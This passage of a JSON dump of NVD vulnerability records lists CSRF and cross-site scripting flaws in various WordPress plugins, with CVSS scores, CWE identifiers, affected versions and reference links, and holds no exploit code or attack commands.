"AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:cms_press_project:cms_press:0.2.3:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-07T14:46:44", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Mathieu Chartier WordPress WP-Advanced-Search plugin <=\u00a03.3.8 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-24T17:15:00", "type": "cve", "title": "CVE-2022-47447", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47447"], "modified": "2023-05-30T17:46:00", "cpe": ["cpe:/a:wp-advanced-search_project:wp-advanced-search:3.3.8"], "id": "CVE-2022-47447", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47447", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:wp-advanced-search_project:wp-advanced-search:3.3.8:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-23T23:57:53", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Scott Paterson Contact Form 7 \u2013 PayPal & Stripe Add-on plugin <=\u00a01.9.3 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "cve", "title": "CVE-2023-24405", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24405"], "modified": "2023-07-13T00:20:00", "cpe": [], "id": "CVE-2023-24405", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-24405", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-07-24T02:51:20", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Prism Tech Studios Modern Footnotes plugin <=\u00a01.4.15 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-22T09:15:00", "type": "cve", "title": "CVE-2023-28423", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28423"], "modified": "2023-06-28T03:26:00", "cpe": ["cpe:/a:prismtechstudios:modern_footnotes:1.4.15"], "id": "CVE-2023-28423", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28423", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:prismtechstudios:modern_footnotes:1.4.15:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-14T14:53:08", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Squirrly SEO Plugin by Squirrly SEO plugin <=\u00a012.1.20 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T15:15:00", "type": "cve", "title": "CVE-2022-45065", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-45065"], "modified": "2023-06-07T02:42:00", "cpe": ["cpe:/a:squirrly:seo_plugin_by_squirrly_seo:12.1.20"], "id": "CVE-2022-45065", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-45065", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:squirrly:seo_plugin_by_squirrly_seo:12.1.20:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-08T15:10:32", "description": "Cross-Site Request Forgery (CSRF) vulnerability in German Krutov LOGIN AND REGISTRATION ATTEMPTS LIMIT plugin <=\u00a02.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "cve", "title": "CVE-2022-47138", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47138"], "modified": "2023-05-31T19:25:00", "cpe": ["cpe:/a:login_and_registration_attempts_limit_project:login_and_registration_attempts_limit:2.1"], "id": "CVE-2022-47138", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47138", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:login_and_registration_attempts_limit_project:login_and_registration_attempts_limit:2.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-03T15:14:37", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in PB SEO Friendly Images plugin <=\u00a04.0.5 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-04T21:15:00", "type": "cve", "title": "CVE-2022-47434", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47434"], "modified": "2023-05-10T18:19:00", "cpe": ["cpe:/a:bajorat-media:pb_seo_friendly_images:4.0.5"], "id": "CVE-2022-47434", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47434", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:bajorat-media:pb_seo_friendly_images:4.0.5:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-08T15:10:32", "description": "Cross-Site Request Forgery (CSRF) vulnerability in chronoengine.Com Chronoforms plugin <=\u00a07.0.9 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "cve", "title": "CVE-2022-47135", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47135"], "modified": "2023-05-31T19:30:00", "cpe": ["cpe:/a:chronoengine:chronoforms:7.0.9"], "id": "CVE-2022-47135", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47135", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:chronoengine:chronoforms:7.0.9:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-08T15:10:30", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Damir Calusic WP Basic Elements plugin <=\u00a05.2.15 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "cve", "title": "CVE-2022-47139", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-47139"], "modified": "2023-05-31T19:22:00", "cpe": ["cpe:/a:wp_basic_elements_project:wp_basic_elements:5.2.15"], "id": "CVE-2022-47139", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-47139", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:wp_basic_elements_project:wp_basic_elements:5.2.15:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T02:10:59", "description": "Cross-Site Request Forgery (CSRF) vulnerability allows arbitrary file upload\u00a0in Shingo Intrepidity plugin <=\u00a01.5.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-06-15T14:15:00", "type": "cve", "title": "CVE-2023-27634", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-27634"], "modified": "2023-06-22T16:20:00", "cpe": ["cpe:/a:intrepidity_project:intrepidity:1.5.1"], "id": "CVE-2023-27634", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-27634", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:intrepidity_project:intrepidity:1.5.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-05-10T08:37:30", "description": "This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.", "cvss3": {}, "published": "2023-05-10T08:37:30", "type": "cve", "title": "CVE-2023-28421", "cwe": [], "bulletinFamily": "NVD", "cvss2": {}, "cvelist": ["CVE-2023-28421"], "modified": "2023-05-10T08:37:30", "cpe": [], "id": "CVE-2023-28421", "href": "", "cvss": {}, "cpe23": []}, {"lastseen": "2023-07-23T23:59:38", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Zestard Technologies Admin side data storage for Contact Form 7 plugin <=\u00a01.1.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-06-15T14:15:00", "type": "cve", "title": "CVE-2023-24420", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24420"], "modified": "2023-06-22T16:59:00", "cpe": ["cpe:/a:zestard:admin_side_data_storage_for_contact_form_7:1.1.1"], "id": "CVE-2023-24420", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-24420", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:zestard:admin_side_data_storage_for_contact_form_7:1.1.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-24T00:29:06", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Teplitsa Yandex.News Feed by Teplitsa plugin <=\u00a01.12.5 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T13:15:00", "type": "cve", "title": "CVE-2023-25052", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-25052"], "modified": "2023-05-10T02:26:00", "cpe": [], "id": "CVE-2023-25052", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-25052", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": []}, {"lastseen": "2023-06-07T14:46:49", "description": "Cross-Site Request Forgery (CSRF) vulnerability in weightbasedshipping.Com WooCommerce Weight Based Shipping plugin <=\u00a05.4.1 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-24T16:15:00", "type": "cve", "title": "CVE-2022-46794", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46794"], "modified": "2023-05-31T00:49:00", "cpe": ["cpe:/a:weightbasedshipping:woocommerce_weight_based_shipping:5.4.1"], "id": "CVE-2022-46794", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-46794", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:weightbasedshipping:woocommerce_weight_based_shipping:5.4.1:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-23T23:55:55", "description": "Auth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability\u00a0in Nico Graff WP Simple Events plugin <=\u00a01.0 versions.", "cvss3": {"exploitabilityScore": 1.7, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "baseScore": 4.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T22:15:00", "type": "cve", "title": "CVE-2023-24376", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 5.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:M/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "MULTIPLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-24376"], "modified": "2023-05-11T19:08:00", "cpe": ["cpe:/a:wp_simple_events_project:wp_simple_events:1.0"], "id": "CVE-2023-24376", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-24376", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:M/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:wp_simple_events_project:wp_simple_events:1.0:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-06-08T15:10:31", "description": "Cross-Site Request Forgery (CSRF) vulnerability in Marty Thornley Import External Images plugin <=\u00a01.4 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-05-25T09:15:00", "type": "cve", "title": "CVE-2022-46866", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-46866"], "modified": "2023-05-31T19:34:00", "cpe": ["cpe:/a:import_external_images_project:import_external_images:1.4"], "id": "CVE-2022-46866", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2022-46866", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:import_external_images_project:import_external_images:1.4:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-10-03T07:10:51", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in Estatik Estatik Mortgage Calculator plugin <=\u00a02.0.7 versions.", "cvss3": {}, "published": "2023-09-27T15:18:49", "type": "cve", "title": "CVE-2023-28490", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-28490"], "modified": "2023-09-29T18:37:47", "cpe": ["cpe:/a:estatik:estatik_mortgage_calculator:2.0.7"], "id": "CVE-2023-28490", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-28490", "cvss": {"score": 0.0, "vector": "NONE"}, "cpe23": ["cpe:2.3:a:estatik:estatik_mortgage_calculator:2.0.7:*:*:*:*:wordpress:*:*"]}, {"lastseen": "2023-07-23T23:33:27", "description": "Cross-Site Request Forgery (CSRF) vulnerability in HasThemes HT Feed plugin <=\u00a01.2.7 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2023-07-10T16:15:00", "type": "cve", "title": "CVE-2023-23804", "cwe": ["CWE-352"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-23804"], "modified": "2023-07-12T23:55:00", "cpe": [], "id": "CVE-2023-23804", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-23804", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": []}, {"lastseen": "2023-07-23T22:52:00", "description": "Unauth. Reflected Cross-Site Scripting (XSS) vulnerability in chilidevs Return and Warranty Management System for WooCommerce plugin <=\u00a01.2.3 versions.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "NONE", "baseScore": 6.1, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-05-08T23:15:00", "type": "cve", "title": "CVE-2023-22710", "cwe": ["CWE-79"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-22710"], "modified": 